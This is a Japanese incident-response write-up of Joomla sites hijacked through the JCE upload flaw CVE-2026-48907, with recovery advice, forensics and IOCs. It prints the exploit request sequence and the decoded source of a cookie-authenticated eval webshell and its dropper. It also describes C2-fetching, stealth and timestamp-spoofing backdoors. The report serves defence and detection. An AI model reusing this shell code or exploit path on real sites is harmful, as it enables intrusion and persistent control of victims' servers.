CVSS 10.0「JCE未認証RCE(CVE-2026-48907)」が悪用されたJoomlaサイト改ざん事案
CVSS 10.0「JCE未認証RCE(CVE-2026-48907)」が悪用されたJoomlaサイト改ざん事案
本記事は、当社が対応した実在のWebサイト改ざんインシデントをもとに、被害サイトや顧客が特定できないよう匿名化したうえで再構成したものです。攻撃の手口・調査手法・再発防止策を、サイト運営者の方にも技術者の方にも役立つ形でまとめました。
この記事の読み方
前半(1〜4章)は サイトを運営している方・管理を任されている方 に向けて、「何が起きたのか」「なぜ危険なのか」「今すぐ何をすべきか」を平易にまとめています。
後半(5章以降)は セキュリティ技術者・フォレンジック担当者 向けに、攻撃チェーンの再構成、難読化解除、ログ・DB解析、IOCまで踏み込みます。
1. 3行サマリ
– Joomla用の人気エディタ拡張「JCE(Joomla Content Editor)」の未認証リモートコード実行(RCE)脆弱性 CVE-2026-48907(CVSS 10.0) が悪用され、あるJoomla 3系サイトに10種類以上のバックドア・Webシェルが仕込まれた。
– 攻撃者はサイトの 完全な遠隔操作権限(任意コード実行・ファイルアップロード)を取得。広告インジェクション/ブラックハットSEOによる収益化が目的とみられる。
– JCEを更新するだけでは終わらない。データベースに残された不正設定、コアファイルへの寄生、画像に偽装したシェルまで除去して初めて「クローズ」できる 。
2. CVE-2026-48907 とは ― なぜ「最悪クラス」なのか
JCEはJoomla向けの定番リッチテキストエディタ拡張で、世界中の無数のサイトに導入されています。CVE-2026-48907は、そのJCEに存在した 認証不要(未認証)でサーバー上に任意のPHPファイルをアップロードできる 脆弱性です。
| 項目 | 内容 |
|---|---|
| CVE | CVE-2026-48907 |
| 対象 | JCE(com_jce)バージョン 1.0.0 〜 2.9.99.4 |
| 深刻度 | CVSS v4 10.0(Critical/最高値) |
| CISA KEV | 2026-06-16 登録(=実際の悪用が確認済み) |
| 修正版 | 2.9.99.5(2026-06-03公開)/最新 2.9.99.7(2026-06-18) |
手口を一言で言うと、「偽のエディタ設定(プロファイル)を勝手に作り、本来は禁止されているPHPファイルのアップロードを許可させて、Webシェルを設置する」 というものです。ログインも不要で、HTTPリクエストを投げるだけで成立します。
注目すべきは時系列です。攻撃者が悪用を始めたのは 2026-06-09。CISAがKEV(既知の悪用脆弱性カタログ)に登録したのは 2026-06-16。つまり 公式の警告が出る前から、在野では大規模な自動攻撃がすでに走っていた のです。パッチ(2.9.99.5)公開からわずか数日で、未適用サイトが狙い撃ちにされた典型例でした。
3. 何が起きたか ― 被害の全体像
対象は、サポートが終了(EOL)した Joomla 3系 で運用されていたサイトでした。調査の結果、次のような状態に陥っていました。
– トップページの index.php 自体が改ざんされ、ページを表示するたびに外部のC2サーバーから命令を取得して実行する 状態だった(サイトは一見正常に動いて見える「寄生型」)。
– ルートの.htaccess が書き換えられていた。
– ファイル名をランダム化した独立バックドアが 10種類以上、重複して 設置されていた。一部はAES暗号で遠隔操作できる本格的なもの。
– images/ フォルダには、画像(GIF)に偽装したシェルが20個以上埋め込まれていた。
– データベースには、攻撃の足がかりとなる 不正なJCE設定が200件以上 残されていた。
つまり、たとえ表向きのバックドアを1つ消しても、別の経路から何度でも再侵入できる「巣」が張り巡らされた状態です。
4. サイト運営者が今すぐやるべきこと
もしあなたのサイトがJoomla+JCEを使っているなら、今すぐ 次を確認してください。
1. JCEのバージョンを確認 — administrator/components/com_jce/jce.xml の <version> を見る。2.9.99.5未満なら危険。
2. JCEを 2.9.99.7 以降に更新(不要なら撤去)。これが根本対策。
3. 更新しても安心しない — 後述のとおり、データベースに残った不正設定やすでに設置されたシェルは更新では消えません。
そして、すでに侵入された疑いがある場合の正しい復旧手順は次のとおりです。
– サイトを一時停止(被害拡大・第三者悪用の停止)
– 全パスワードのローテーション(管理者・DB・FTP/SSH)
– configuration.php の secret キー再生成
– クリーンなコアでの再構築(改ざんファイルの上書きでは取りこぼす)
– データベースの不正設定の削除
– tmp/ でのPHP実行禁止(今回の真の抜け穴。詳細は後述)
※Joomla 3系は2023年8月にサポート終了済みです。復旧だけでは脆弱拡張が放置されやすく再侵入リスクが残るため、Joomla 4/5への移行 を強く推奨します。
ここから先は技術者向けの詳細解析です。
5. 【技術編】攻撃チェーンの完全再構成
5-1. エクスプロイトのハンドシェイク
アクセスログから、CVE-2026-48907の悪用は 「偵察 → プロファイル汚染 → RPCアップロード → 実行確認」 という定型ハンドシェイクで自動実行されていることが確認できました。初回成功元の1サイクルは以下のとおりです。
| リクエスト | 応答 | 意味 |
|---|---|---|
GET /administrator/components/com_jce/jce.xml |
200 |
JCEバージョン読取(脆弱版か判定) |
POST …&task=profiles.import |
200/136B |
不正プロファイル投入(php/txtアップロードを再有効化) |
GET / |
200/+310B |
トップページが肥大化=汚染がDB/出力に反映された証跡 |
POST …&task=plugin.rpc&plugin=browser |
200 |
ブラウザRPCでシェルをアップロード |
未認証バイパスの痕跡として、POST /index.php?option=com_jce&<32桁のmd5hex>=1のように ランダムなパラメータ名=1 を付与する手口も確認されました。これがアクセス制御を回避する鍵になっています。
“POST /index.php?option=com_jce&a3864aa49f28fb14c719ecdeeeb78a10=1 HTTP/1.1” 200 234 …
5-2. 真の抜け穴は tmp/ ― .htaccess防御の明暗
ここが本事案で最も示唆に富む点です。攻撃者は複数のディレクトリにシェルをアップロードしようとしましたが、成否はディレクトリの.htaccess防御の有無で分かれました。
| アップロード先 | 命名規則 | 結果 |
|---|---|---|
images/ |
jce_<8英数>.php |
× .htaccess のPHP実行拒否により実行失敗(301) |
media/jce/ |
nx<8桁>.{php,php5,php7,phtml,phar,txt} |
× .htaccess のPHP実行拒否により実行失敗(全期間200応答ゼロ) |
tmp/ |
<6桁>.{php,php4,php5,php7,php8,phps,pht,phtm,phtml,phar,shtml,svg} |
✓ 防御なし・200で稼働 |
media/jce/ には標準でphp系を拒否する.htaccessが入っており、エラーログにもこう残っていました。
AH01797: client denied by server configuration: /var/www/html/media/jce/nx63480971.php5
一方 tmp/ には実行制限がなく、ここに着弾した多拡張子ドロッパーだけが200・1173バイトで稼働しました。攻撃者が .php から .shtml・.svg まで 13種類もの拡張子で同じファイルを撒いた のは、「サーバーがどの拡張子をPHP/SSIとして実行するか」を総当たりで判定するためです。
5-3. ドロッパー → Cookie認証RCE → 第2波
tmp/に着弾したドロッパー(1,173B)をデコードすると、ルート直下にCookie認証型RCEシェルを書き出す2段構成でした。
// 第1段:ドロッパー本体(PHP実行系)
<?php file_put_contents($_SERVER[‘DOCUMENT_ROOT’].’/64110879c425.php’, base64_decode(‘…’)); ?>
// 第2段:投下される 64110879c425.php の全文(デコード済み・376バイト)
<?php
echo 409723*20; // = 8194460(7バイト)。稼働ヘルスチェック
if (md5($_COOKIE[“d”]) == “17028f487cb2a84607646da3ad3878ec”) {
eval(base64_decode($_REQUEST[“id”])); // 任意PHP実行(RCE本体)
if ($_POST[“up”] == “up”) { // ファイルアップロード機能
@copy($_FILES[“file”][“tmp_name”], $_FILES[“file”][“name”]);
}
}
?>
echo 409723*20 が返す 7バイトの応答(8194460) が秀逸な指標になりました。ログ上、このシェルへのGETに対する 7バイト応答 は「稼働中シェルの指紋」そのもの。SSI実行系のフォールバック(.shtml/.svg)も併せ持つ、環境を選ばない設計でした。
攻撃チェーンを整理すると:
JCE profiles.import(未認証)
→ tmp/ にドロッパー設置
→ 実行で 64110879c425.php(Cookie認証RCE)を生成
→ そのRCEで第2波シェル群(10種以上)を一斉展開
5-4. バックドアの多様性 ― 4つの「巣」のつくり方
第2波で展開されたバックドアは、それぞれ異なる隠蔽手法を持っていました。代表的なものを挙げます。
① 寄生型コア改ざん(root index.php)
正規のJoomla index.php(本来約1.4KB)にgoto難読化コードを注入。_JEXEC/JFactory参照を温存し サイトを正常稼働させたまま バックドア化。ページ表示のたびにC2 http[:]//zs961v13.growty[.]sbs/(.sbsはマルウェア常用TLD)からPHPを取得し@evalで実行します。
② GIFポリグロットシェル(20個以上)
images/配下に GIF89a ヘッダ+ショートタグ <?= を組み合わせた画像偽装シェルが20個以上。die(md5(“CVE2026”)) のプローブや kill_the_net アップローダを内蔵。中には .gifをPHPとして実行させる.htaccessを動的に書き込むピボット用シェル まで含まれていました。
③ 入れ子偽ディレクトリによる持続化
bin/bin/・cli/cli/・tmp/tmp/ のように、正規ディレクトリの中に同名のサブディレクトリ を作り、その中に .htaccess+index.php(ローダー)+cache.php(暗号化ペイロード)+*.flv(goto型シェル)の4点セットを隠す手口です。
cache.phpは4層難読化(eval(gzinflate(base64_decode(…)))の入れ子)で、デコードするとBootstrap製のパスワード保護ファイルマネージャでした。さらに巧妙なのは ステルス機構 で、
http_response_code(404); // 一般アクセスには404を返す
// User-Agentが Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler なら404
// → 検索エンジンのマルウェア検知をすり抜ける
そして AES-256-CBC による暗号化コマンドチャネル(openssl_decrypt(…, $_REQUEST[‘k’], …)、IV=鍵先頭16B)まで備えていました。
※入れ子偽ディレクトリの見分け方: 正規vendorにも getid3/getid3・monolog/monolog のような重複名ディレクトリは多数存在します。find . -type d で重複名を列挙したうえで、中に .flv/cache.php があるかで判別してください。
④ タイムスタンプ偽装付きWP偽装シェル
偽のWordPressコメント(@package WordPress)で正規ファイルを装い、touch(__FILE__, filemtime(“admin.php”)) で 更新日時を周囲のファイルに合わせて偽装。.php/.txt/index付きの3拡張子で多重設置されていました(.txt版も中身は完全なPHPバックドア)。
※ファイルのmtimeは信用できない。 自己タイムスタンプ偽装機能を持つ検体が複数あったため、本事案ではタイムラインを すべてアクセスログで確定 しました。
5-5. データベース・フォレンジック ― 「更新しても消えないもの」
ファイルの除去だけでは終わりませんでした。稼働中のデータベース(約100MB規模)を点検したところ:
– 不正な管理者・能動的バックドアは無し(Super Userは正規のみ、記事/モジュールへの悪性script/iframe注入もゼロ)。
– ただし #__wf_profiles テーブルに CVE-2026-48907悪用で自動生成された不正JCEプロファイルが200件以上。paramsは extensions:”php,txt” + upload:1 + validate_mimetype:0、つまり 「PHPアップロードを許可しMIME検証を無効化する設定」 そのものでした。
このプロファイルの命名が厄介で、cve48907_*/VulnScan*/Mal<unixtime>/J,S,H,P+数字(末尾英字や”(2)”のバリエーション付き)など きわめて多様 でした。
名前パターンでの削除は取りこぼすので、正規のID(Default/Mobile)以外を一括削除するのが確実です。
※ JCEを更新するだけでは、この不正プロファイルは消えません。 コード(脆弱性)と設定(DB)の両面を塞いで初めてクローズできます。
6. IOC(侵害指標)
同種攻撃の検知にご活用ください。
C2・関連ドメイン
zs961v13.growty.sbs ← 寄生型コア改ざんのC2。最優先で送信ログを照合・遮断
growty.sbs ← 親ドメイン
攻撃の認証情報・パラメータ
| 項目 | 内容 |
|---|---|
Cookie d のmd5照合値 |
17028f48********ad3878ec |
| 二重md5パスワードハッシュ | 961dedfa********3de8bec |
cache.php 認証キー(2系統) |
ed1c40a2********4765987e3aadf7d6********2029287
|
| AESコマンドチャネル鍵 | $_REQUEST["k"](AES-256-CBC、IV=鍵先頭16B) |
| Cookie-RCE ヘルスチェック |
409723*20 = 8194460GET時の7バイト応答=稼働中シェルの指紋 |
| GIF偽装シェル マーカー |
"GIF89a" + "<?="die(md5("CVE2026"))"kill_the_net""HTA_OK_7X9"
|
CVE-2026-48907 エクスプロイト手口(ログ検知シグネチャ)
| 項目 | 内容 |
|---|---|
| プロファイル汚染経路 | POST index.php?option=com_jce&task=profiles.import |
| RPCアップロード経路 | POST index.php?option=com_jce&task=plugin.rpc&plugin=browser |
| 未認証バイパストークン | &<32桁md5hex>=1 |
| アップロード先命名規則 |
images/jce_<8英数>.phpmedia/jce/nx<8桁>.{php,php5,php7,phtml,phar,txt}tmp/<6桁>.{php,php4,php5,php7,php8,phps,pht,phtm,phtml,phar,shtml,svg}
|
| 不正JCEプロファイル命名 |
cve48907_*VulnScan*Mal<unixtime>J/S/H/P+数字
|
7. まとめ ― この事案が伝える3つの本質
1. パッチ公開=攻撃開始の合図。 CVE-2026-48907はパッチ公開(6/3)からKEV登録(6/16)までの「空白期間」に大規模悪用が走りました。EOLのCMSや放置された人気拡張は、公式警告を待たずに狙われます。
2. 「設置」と「実行」は別物。 .htaccessのphp Denyが効いたディレクトリのシェルは一度も実行されず、防御の無いtmp/だけが抜け穴でした。アップロードディレクトリでのスクリプト実行禁止は、それ単体で多くの攻撃を無力化します。
3. 更新だけでは終わらない。 根本原因(脆弱性)を塞いでも、すでに設置されたバックドア(画像偽装・入れ子・寄生型)と、DBに残った不正設定を除去しなければ再侵入は止まりません。コア・拡張・データベースの三層を、ハッシュ照合とログ突合で網羅的に検証することが、真の意味での「復旧完了」です。
※本記事は当社が対応した実インシデントを匿名化のうえ再構成したものです。サイトの改ざん・マルウェア感染が疑われる場合は、証跡を保全したうえで専門家にご相談ください。
